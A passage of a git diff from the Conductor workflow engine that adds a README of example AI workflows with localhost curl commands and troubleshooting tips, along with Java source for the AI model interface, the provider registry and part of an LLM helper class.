agent (`capabilities.streaming=true`) | +| `24-a2a-push.json` | Call an agent in push-notification mode | A2A agent, `conductor.a2a.callback.url` | +| `25-a2a-server-multi-turn.json` | Multi-turn server agent (HUMAN task → input-required → resume) | `conductor.a2a.server.enabled=true` | +| `26-a2a-cancel.json` | Start then cancel a remote agent task | A2A agent | +| `27-a2a-multi-agent.json` | Call multiple agents in parallel (FORK_JOIN → JOIN) | A2A agents | +| `28-a2a-llm-pick-skill.json` | Discover an agent, let an LLM pick the prompt, then call it | A2A agent, OpenAI/Anthropic | +| `29-a2a-client-multi-turn.json` | Client multi-turn: branch on input-required, re-call with the same context | A2A agent | + +--- + +## Quick Start + +### Step 1: Register a Workflow + +```bash +# Register the chat completion workflow +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @01-chat-completion.json +``` + +### Step 2: Execute the Workflow + +```bash +# Run the workflow (no input needed for hardcoded examples) +curl -X POST 'http://localhost:8080/api/workflow/chat_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### Step 3: Check the Result + +```bash +# Get workflow execution status (replace {workflowId} with the returned ID) +curl -X GET 'http://localhost:8080/api/workflow/{workflowId}' +``` + +--- + +## Example Commands + +### 1. Chat Completion + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @01-chat-completion.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/chat_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 2. Generate Embeddings + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @02-generate-embeddings.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/embedding_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 3. Image Generation + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @03-image-generation.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/image_gen_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 4. Audio Generation (TTS) + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @04-audio-generation.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/tts_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 5. Semantic Search + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @05-semantic-search.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/semantic_search_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 6. RAG (Basic) + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @06-rag-basic.json + +# Execute with a question +curl -X POST 'http://localhost:8080/api/workflow/rag_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"question": "What is Conductor?"}' +``` + +### 7. RAG (Complete Demo) + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @07-rag-complete.json + +# Execute (no input needed - fully self-contained) +curl -X POST 'http://localhost:8080/api/workflow/complete_rag_demo' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 30. RAG on SQLite (sqlite-vec, zero infrastructure) + +Runs the full index → search → answer RAG loop against the **embedded** SQLite + sqlite-vec vector +store — no PostgreSQL, MongoDB or Pinecone required. When the server runs with `conductor.db.type=sqlite` +and `conductor.integrations.ai.enabled=true`, Conductor bundles the native `vec0` extension and +auto-registers a vector DB instance named `default`, which this workflow targets. Embeddings are +requested at 256 dimensions to match that default instance. + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @30-rag-sqlite-vec.json + +# Execute with a question +curl -X POST 'http://localhost:8080/api/workflow/rag_sqlite_vec_demo' \ + -H 'Content-Type: application/json' \ + -d '{"question": "What vector databases does Conductor support?"}' +``` + +### 8. MCP List Tools + +```bash +# Start MCP server first (see Prerequisites) + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @08-mcp-list-tools.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/mcp_list_tools_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 9. MCP Call Tool (Weather) + +```bash +# Start MCP server first (see Prerequisites) + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @09-mcp-call-tool.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/mcp_weather_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 10. MCP AI Agent + +```bash +# Start MCP server first (see Prerequisites) + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @10-mcp-ai-agent.json + +# Execute with a task +curl -X POST 'http://localhost:8080/api/workflow/mcp_ai_agent_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Get the current weather in San Francisco"}' +``` + +### 11. Video Generation (OpenAI Sora) + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @11-video-openai-sora.json + +# Execute (async -- returns workflowId immediately, polls internally until video is ready) +curl -X POST 'http://localhost:8080/api/workflow/video_gen_openai_sora' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 12. Video Generation (Google Gemini Veo) + +```bash +# Requires Google Vertex AI credentials (see Prerequisites) + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @12-video-gemini-veo.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/video_gen_gemini_veo' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 13. Image-to-Video Pipeline + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @13-image-to-video-pipeline.json + +# Execute (generates a DALL-E image first, then a Sora video) +curl -X POST 'http://localhost:8080/api/workflow/image_to_video_pipeline' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 14. Image Generation (Stability AI) + +```bash +# Requires STABILITY_API_KEY environment variable + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @14-stabilityai-image.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/image_gen_stabilityai' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 15. PDF Generation (Markdown to PDF) + +```bash +# No external API keys required -- uses built-in PDFBox renderer + +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @15-pdf-generation.json + +# Execute +curl -X POST 'http://localhost:8080/api/workflow/pdf_generation_workflow' \ + -H 'Content-Type: application/json' \ + -d '{}' +``` + +### 16. LLM-to-PDF Pipeline (Report Generation) + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @16-llm-to-pdf-pipeline.json + +# Execute with a topic and audience +curl -X POST 'http://localhost:8080/api/workflow/llm_to_pdf_pipeline' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "Cloud Migration Best Practices", "audience": "CTO and engineering leadership"}' +``` + +### 17. Web Search + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @17-web-search.json + +# Execute with a question about current events +curl -X POST 'http://localhost:8080/api/workflow/web_search_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"question": "What are the latest developments in AI regulation?"}' +``` + +### 18. Code Execution + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @18-code-execution.json + +# Execute with a data analysis task +curl -X POST 'http://localhost:8080/api/workflow/code_execution_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Generate the first 50 Fibonacci numbers and calculate the golden ratio convergence"}' +``` + +### 19. Coding Agent + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @19-coding-agent.json + +# Execute — the agent plans, writes code, executes, and reviews +curl -X POST 'http://localhost:8080/api/workflow/coding_agent' \ + -H 'Content-Type: application/json' \ + -d '{"task": "Write a Python function that converts Roman numerals to integers, with unit tests"}' +``` + +### 20. Extended Thinking + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @20-extended-thinking.json + +# Execute with a complex reasoning problem +curl -X POST 'http://localhost:8080/api/workflow/extended_thinking_workflow' \ + -H 'Content-Type: application/json' \ + -d '{"problem": "Design a distributed consensus algorithm for a system with up to 3 Byzantine nodes out of 10 total. Explain the correctness proof."}' +``` + +### 21. Web Research Agent + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @21-web-search-research-agent.json + +# Execute — researches the topic, writes a report, converts to PDF +curl -X POST 'http://localhost:8080/api/workflow/web_research_agent' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "The state of WebAssembly in 2026"}' +``` + +### 22. Multi-Turn Conversation Chain + +```bash +# Register +curl -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @22-multi-turn-chain.json + +# Execute — second turn uses previousResponseId to continue the conversation without resending history +curl -X POST 'http://localhost:8080/api/workflow/multi_turn_chain' \ + -H 'Content-Type: application/json' \ + -d '{"topic": "Real-time collaborative document editor"}' +``` + +--- + +## Register All Workflows at Once + +```bash +# Register all example workflows +for f in *.json; do + echo "Registering $f..." + curl -s -X POST 'http://localhost:8080/api/metadata/workflow' \ + -H 'Content-Type: application/json' \ + -d @"$f" + echo "" +done +``` + +--- + +## Troubleshooting + +### "VectorDB not found: postgres-prod" + +Ensure you have configured the PostgreSQL vector database in your `application.properties`: + +```properties +conductor.vectordb.instances[0].name=postgres-prod +conductor.vectordb.instances[0].type=postgres +conductor.vectordb.instances[0].postgres.datasourceURL=jdbc:postgresql://localhost:5432/vectors +conductor.vectordb.instances[0].postgres.user=conductor +conductor.vectordb.instances[0].postgres.password=secret +conductor.vectordb.instances[0].postgres.dimensions=1536 +``` + +### "No configuration found for: openai" + +Ensure you have set the OpenAI API key environment variable: + +```bash +export OPENAI_API_KEY=sk-your-openai-api-key +``` + +### MCP Server Connection Refused + +1. Verify the MCP server is running: + ```bash + curl http://localhost:3001/mcp + ``` + +2. Check the server logs for errors + +3. Ensure you're using the correct port in the workflow (default: 3001) + +### PostgreSQL Vector Extension Not Found + +Ensure the `pgvector` extension is installed in your PostgreSQL database: + +```sql +CREATE EXTENSION IF NOT EXISTS vector; +``` + +--- + +## License + +Copyright 2026 Conductor Authors. Licensed under the Apache License 2.0. diff --git a/ai/src/main/java/org/conductoross/conductor/ai/AIModel.java b/ai/src/main/java/org/conductoross/conductor/ai/AIModel.java new file mode 100644 index 0000000..316d0da --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/AIModel.java @@ -0,0 +1,235 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.function.Function; + +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.ai.video.VideoModel; +import org.conductoross.conductor.ai.video.VideoOptions; +import org.conductoross.conductor.ai.video.VideoOptionsBuilder; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImageOptions; +import org.springframework.ai.image.ImageOptionsBuilder; +import org.springframework.ai.model.tool.ToolCallingChatOptions; +import org.springframework.ai.tool.ToolCallback; +import org.springframework.ai.tool.function.FunctionToolCallback; + +import com.netflix.conductor.common.config.ObjectMapperProvider; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +/** Interface for LLM implementations. */ +public interface AIModel { + + enum ConductorTask { + CHAT_COMPLETE, + GENERATE_IMAGE, + GENERATE_VIDEO, + TEXT_TO_SPEECH + } + + ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + /** + * @return name of the foundation model provider. e.g. openai, anthropic etc. + */ + String getModelProvider(); + + /** + * @return alternative provider names that resolve to this same provider + */ + default List getProviderAliases() { + return List.of(); + } + + /** + * Whether this provider accepts a chat-completion request whose last message has the {@code + * assistant} role — i.e. assistant-message prefill, used to nudge the model's response to start + * a certain way (and, in this codebase, the format in which {@link + * org.conductoross.conductor.ai.tasks.mapper.ChatCompleteTaskMapper}'s loop-history injection + * carries prior DO_WHILE iteration outputs back into the next iteration). + * + *

When this returns {@code false}, the mapper suppresses the same-refName loop-iteration + * assistant injection: those auto-attached assistant messages would either be rejected outright + * by the provider's API (e.g. Anthropic Claude Sonnet 4.6+ returns {@code 400 "This model does + * not support assistant message prefill. The conversation must end with a user message."}) or + * be silently mis-handled. Participants, tool calls, and sub-workflow context are unaffected by + * this flag. + * + *

Default is {@code true} to preserve historical behavior for providers (OpenAI Responses + * API with {@code previousResponseId}, Gemini, etc.) that accept trailing assistant messages. + */ + default boolean supportsAssistantPrefill() { + return true; + } + + /** + * Embedding generation + * + * @param embeddingGenRequest request + * @return embeddings + */ + List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest); + + /** + * @return Chat Completion model + */ + ChatModel getChatModel(); + + /** + * @param input request to do chat completion + * @return Options + */ + default ChatOptions getChatOptions(ChatCompletion input) { + return ToolCallingChatOptions.builder() + .model(input.getModel()) + .maxTokens(input.getMaxTokens()) + .topP(input.getTopP()) + .temperature(input.getTemperature()) + .toolCallbacks(getToolCallback(input)) + .stopSequences(input.getStopWords()) + .frequencyPenalty(input.getFrequencyPenalty()) + .topK(input.getTopK()) + .internalToolExecutionEnabled(false) + .presencePenalty(input.getPresencePenalty()) + .build(); + } + + /** + * @param input Image gen request + * @return Options + */ + default ImageOptions getImageOptions(ImageGenRequest input) { + return ImageOptionsBuilder.builder() + .model(input.getModel()) + .height(input.getHeight()) + .width(input.getWidth()) + .N(input.getN()) + .responseFormat("b64_json") + .style(input.getStyle()) + .build(); + } + + /** + * @return Model to generate images + */ + ImageModel getImageModel(); + + /** + * @param input Video gen request + * @return Options + */ + default VideoOptions getVideoOptions(VideoGenRequest input) { + return VideoOptionsBuilder.builder() + .model(input.getModel()) + .duration(input.getDuration()) + .width(input.getWidth()) + .height(input.getHeight()) + .fps(input.getFps()) + .outputFormat(input.getOutputFormat()) + .n(input.getN()) + .style(input.getStyle()) + .motion(input.getMotion()) + .seed(input.getSeed()) + .guidanceScale(input.getGuidanceScale()) + .aspectRatio(input.getAspectRatio()) + .generateThumbnail(input.getGenerateThumbnail()) + .thumbnailTimestamp(input.getThumbnailTimestamp()) + .inputImage(input.getInputImage()) + .negativePrompt(input.getNegativePrompt()) + .personGeneration(input.getPersonGeneration()) + .resolution(input.getResolution()) + .generateAudio(input.getGenerateAudio()) + .size(input.getSize()) + .build(); + } + + /** + * @return Model to generate videos + */ + default VideoModel getVideoModel() { + return null; // Default: video generation not supported + } + + /** + * Generate video (async job submission) + * + * @param request Video generation request + * @return Response with job ID + */ + default LLMResponse generateVideo(VideoGenRequest request) { + throw new UnsupportedOperationException("Video generation not supported by this provider"); + } + + /** + * Check video generation job status (polling) + * + * @param request Video generation request with jobId + * @return Response with current status or completed video + */ + default LLMResponse checkVideoStatus(VideoGenRequest request) { + throw new UnsupportedOperationException("Video generation not supported by this provider"); + } + + default LLMResponse generateAudio(AudioGenRequest request) { + throw new UnsupportedOperationException(); + } + + default List getToolCallback(ChatCompletion input) { + if (input.getTools() == null || input.getTools().isEmpty()) { + return List.of(); + } + List functions = new ArrayList<>(); + try { + for (ToolSpec tool : input.getTools()) { + FunctionToolCallback function = + FunctionToolCallback.builder(tool.getName(), Function.identity()) + .description(tool.getDescription()) + .inputSchema(objectMapper.writeValueAsString(tool.getInputSchema())) + .inputType(Map.class) // does not matter, we are not doing + // internal tool calling! + .build(); + functions.add(function); + } + } catch (JsonProcessingException jpe) { + throw new RuntimeException(jpe); + } + return functions; + } + + static URI getURI(String input) { + if (input == null || input.isBlank()) { + return null; + } + try { + return new URI(input); + } catch (URISyntaxException e) { + return null; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/AIModelProvider.java b/ai/src/main/java/org/conductoross/conductor/ai/AIModelProvider.java new file mode 100644 index 0000000..03603e3 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/AIModelProvider.java @@ -0,0 +1,77 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.io.File; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Consumer; + +import org.conductoross.conductor.ai.model.LLMWorkerInput; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; + +@Getter +@Component +@Slf4j +public class AIModelProvider { + + private final Map providerToLLM = new HashMap<>(); + + private String payloadStoreLocation; + + public AIModelProvider( + List> modelConfigurations, Environment env) { + String defaultPayloadStoreLocation = System.getProperty("user.home") + "/worker-payload/"; + + for (ModelConfiguration modelConfiguration : modelConfigurations) { + try { + AIModel llm = modelConfiguration.get(); + payloadStoreLocation = + env.getProperty( + "conductor.file-storage.parentDir", defaultPayloadStoreLocation); + boolean result = new File(payloadStoreLocation).mkdirs(); + log.info( + "Created directory {} ? {} for storing worker payload data", + payloadStoreLocation, + result); + providerToLLM.put(llm.getModelProvider(), llm); + for (String alias : llm.getProviderAliases()) { + providerToLLM.put(alias, llm); + } + } catch (Throwable t) { + log.error("cannot init {} model, reason: {}", modelConfiguration, t.getMessage()); + } + } + } + + public AIModel getModel(LLMWorkerInput input) { + String name = input.getLlmProvider(); + if (name == null) { + throw new RuntimeException("llmProvider not specified: " + name); + } + AIModel model = providerToLLM.get(name); + if (model == null) { + throw new RuntimeException("no configuration found for: " + name); + } + return model; + } + + public Consumer getTokenUsageLogger() { + return usageLog -> log.info("{}", usageLog); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/LLMHelper.java b/ai/src/main/java/org/conductoross/conductor/ai/LLMHelper.java new file mode 100644 index 0000000..665d429 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/LLMHelper.java @@ -0,0 +1,909 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai; + +import java.net.URI; +import java.util.ArrayList; +import java.util.Base64; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; +import java.util.Set; +import java.util.UUID; +import java.util.function.Consumer; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.ChatMessage; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.ImageGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.ToolCall; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.common.JsonSchemaValidator; +import org.conductoross.conductor.common.utils.StringTemplate; +import org.springframework.ai.chat.client.ChatClient; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.ai.image.ImageGeneration; +import org.springframework.ai.image.ImageMessage; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImageOptions; +import org.springframework.ai.image.ImagePrompt; +import org.springframework.ai.image.ImageResponse; +import org.springframework.util.MimeType; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.SchemaDef; +import com.netflix.conductor.common.metadata.tasks.Task; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.networknt.schema.JsonSchemaException; +import com.networknt.schema.ValidationMessage; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.ResponseBody; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SIMPLE; + +import static org.conductoross.conductor.ai.MimeExtensionResolver.getExtension; +import static org.conductoross.conductor.ai.MimeExtensionResolver.getMimeTypeFromUrl; + +@Slf4j +public class LLMHelper { + private static final TypeReference> MAP_OF_STRING_TO_OBJ = + new TypeReference<>() {}; + private static final Map finishReasonMap = + Map.of("end_turn", "STOP", "tool_use", "TOOL_CALLS", "refusal", "CONTENT_FILTER"); + private final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private final JsonSchemaValidator jsonSchemaValidator; + private final List documentLoaders; + private final OkHttpClient httpClient; + + public LLMHelper( + JsonSchemaValidator jsonSchemaValidator, List documentLoaders) { + this(jsonSchemaValidator, documentLoaders, AIHttpClients.defaultClient()); + } + + public LLMHelper( + JsonSchemaValidator jsonSchemaValidator, + List documentLoaders, + OkHttpClient httpClient) { + this.jsonSchemaValidator = jsonSchemaValidator; + this.documentLoaders = documentLoaders; + this.httpClient = httpClient; + } + + public LLMResponse chatComplete( + Task task, + AIModel llm, + ChatCompletion chatCompletion, + String payloadStoreLocation, + Consumer tokenUsageLogger) { + + ChatModel chatModel = llm.getChatModel(); + ChatOptions chatOptions = llm.getChatOptions(chatCompletion); + LLMResponse response = chatComplete(chatModel, chatOptions, chatCompletion); + + String prompt = + replacePromptVariables( + chatCompletion.getInstructions(), chatCompletion.getPromptVariables()); + chatCompletion.setPrompt(prompt); + extractResponse(response, chatCompletion); + storeMedia(payloadStoreLocation, response.getMedia()); + + TokenUsageLog usage = + TokenUsageLog.builder() + .taskId(task.getTaskId()) + .api(chatCompletion.getModel()) + .integrationName(chatCompletion.getLlmProvider()) + .completionTokens(response.getCompletionTokens()) + .promptTokens(response.getPromptTokens()) + .totalTokens(response.getTokenUsed()) + .build(); + + tokenUsageLogger.accept(usage); + return response; + } + + public LLMResponse generateImage( + Task task, + AIModel llm, + ImageGenRequest imageGenRequest, + String payloadStoreLocation, + Consumer tokenUsageLogger) { + + String prompt = + replacePromptVariables( + imageGenRequest.getPrompt(), imageGenRequest.getPromptVariables()); + imageGenRequest.setPrompt(prompt); + ImageOptions options = llm.getImageOptions(imageGenRequest); + ImageModel model = llm.getImageModel(); + LLMResponse response = generateImage(model, options, imageGenRequest); + storeMedia(payloadStoreLocation, response.getMedia()); + + TokenUsageLog usage = + TokenUsageLog.builder() + .taskId(task.getTaskId()) + .api(imageGenRequest.getModel()) + .integrationName(imageGenRequest.getLlmProvider()) + .completionTokens(response.getCompletionTokens()) + .promptTokens(response.getPromptTokens()) + .totalTokens(response.getTokenUsed()) + .build(); + tokenUsageLogger.accept(usage); + return response; + } + + public List generateEmbeddings( + Task task, + AIModel llm, + EmbeddingGenRequest embeddingGenRequest, + Consumer tokenUsageLogger) { + return llm.generateEmbeddings(embeddingGenRequest); + } + + public LLMResponse generateAudio( + Task task, + AIModel llm, + AudioGenRequest request, + String payloadStoreLocation, + Consumer tokenUsageLogger) { + LLMResponse response = llm.generateAudio(request); + storeMedia(payloadStoreLocation, response.getMedia()); + TokenUsageLog usage = + TokenUsageLog.builder() + .taskId(task.getTaskId()) + .api(request.getModel()) + .integrationName(request.getLlmProvider()) + .completionTokens(response.getCompletionTokens()) + .promptTokens(response.getPromptTokens()) + .totalTokens(response.getTokenUsed()) + .build(); + tokenUsageLogger.accept(usage); + return response; + } + + public LLMResponse generateVideo( + Task task, + AIModel llm, + VideoGenRequest videoGenRequest, + String payloadStoreLocation, + Consumer tokenUsageLogger) { + + return llm.generateVideo(videoGenRequest); + } + + public LLMResponse checkVideoStatus( + Task task, AIModel llm, VideoGenRequest videoGenRequest, String payloadStoreLocation) { + + LLMResponse response = llm.checkVideoStatus(videoGenRequest); + + // If completed, download and store media + if ("COMPLETED".equals(response.getFinishReason())) { + storeMedia(payloadStoreLocation, response.getMedia()); + } + + return response; + } + + // Helper methods + + private String replacePromptVariables(String prompt, Map paramReplacement) { + if (StringUtils.isBlank(prompt)) { + return prompt; + } + if (paramReplacement != null) { + prompt = StringTemplate.fString(prompt, paramReplacement); + } + return prompt; + } + + @SneakyThrows + @SuppressWarnings({"raw", "unchecked"}) + private void extractResponse(LLMResponse llmResponse, ChatCompletion input) { + if (llmResponse.getResult() == null || llmResponse.getResult().toString().isEmpty()) { + // empty response + log.debug("empty response: finishReason: {}", llmResponse.getFinishReason()); + return; + } + Object result = llmResponse.getResult(); + switch (result) { + case null -> llmResponse.setResult(Map.of()); + case String ignored -> + llmResponse.setResult( + tryToConvertToJSON(llmResponse.getResult().toString(), input)); + case List resultList -> { + List errors = new ArrayList<>(); + List output = new ArrayList<>(); + boolean hasJsonOutput = false; + for (Object o : resultList) { + String responseText = o.toString(); + var responseObj = tryToConvertToJSON(responseText, input); + hasJsonOutput = true; + if (input.getOutputSchema() != null) { + String error = null; + if (!(responseObj instanceof Map)) { + error = "not a JSON response: %s".formatted(responseObj); + } else { + error = + validateJsonSchema( + input.getInputSchema(), + (Map) responseObj); + } + if (error != null) { + errors.add( + String.format( + "Output does not confirm to the schema. errors: %s", + error)); + } + } + output.add(responseObj); + } + llmResponse.setResult(output); + if (input.isJsonOutput() && !hasJsonOutput && !llmResponse.hasToolCalls()) { + Map outputErrors = Map.of("error", errors, "response", output); + throw new RuntimeException(objectMapper.writeValueAsString(outputErrors)); + } + } + default -> llmResponse.setResult(result.toString()); + } + } + + @SneakyThrows + private Object tryToConvertToJSON(String responseText, ChatCompletion chatCompletion) { + try { + responseText = responseText.trim(); + if (responseText.startsWith("```json")) { + responseText = responseText.substring("```json".length()); + responseText = + responseText.substring(0, responseText.length() - "```".length() - 1); + } + Map map = objectMapper.readValue(responseText, MAP_OF_STRING_TO_OBJ); + if (chatCompletion.getOutputSchema() != null) { + String error = validateJsonSchema(chatCompletion.getInputSchema(), map); + if (error != null) { + throw new RuntimeException( + String.format( + "Output does not confirm to the schema. errors: %s", error)); + } + } + // llmResponse.setResult(map); + return map; + + } catch (JsonProcessingException e) { + if (chatCompletion.isJsonOutput()) { + log.error( + "error converting to json, response: {}, error: {}", + responseText, + e.getMessage(), + e); + Map outputErrors = + Map.of("error", e.getMessage(), "response", responseText); + throw new RuntimeException(objectMapper.writeValueAsString(outputErrors)); + } + return responseText; + } + } + + private String validateJsonSchema(final SchemaDef schema, Map data) { + try { + // Order in which we use the schema + // 1. If there is data -- inline schema def, we use that + // 2. Else use name + version to lookup + // 3. externalRef if present, in future we will use it -- currently not supported + String schemaContent = objectMapper.writeValueAsString(schema.getData()); + if (schemaContent == null) { + return null; + } + + Set validationMessages = + jsonSchemaValidator.validate(schemaContent, data); + + if (validationMessages != null && !validationMessages.isEmpty()) { + return String.format( + "Schema validation failed %s", + validationMessages.stream() + .map(ValidationMessage::getMessage) + .collect(Collectors.joining(", "))); + } + return null; + } catch (JsonSchemaException jpe) { + throw new RuntimeException( + "Bad/Unsupported schema? : " + jpe.getValidationMessages().toString()); + } catch (JsonProcessingException jpe) { + throw new RuntimeException("Error parsing the json schema : " + jpe.getMessage(), jpe); 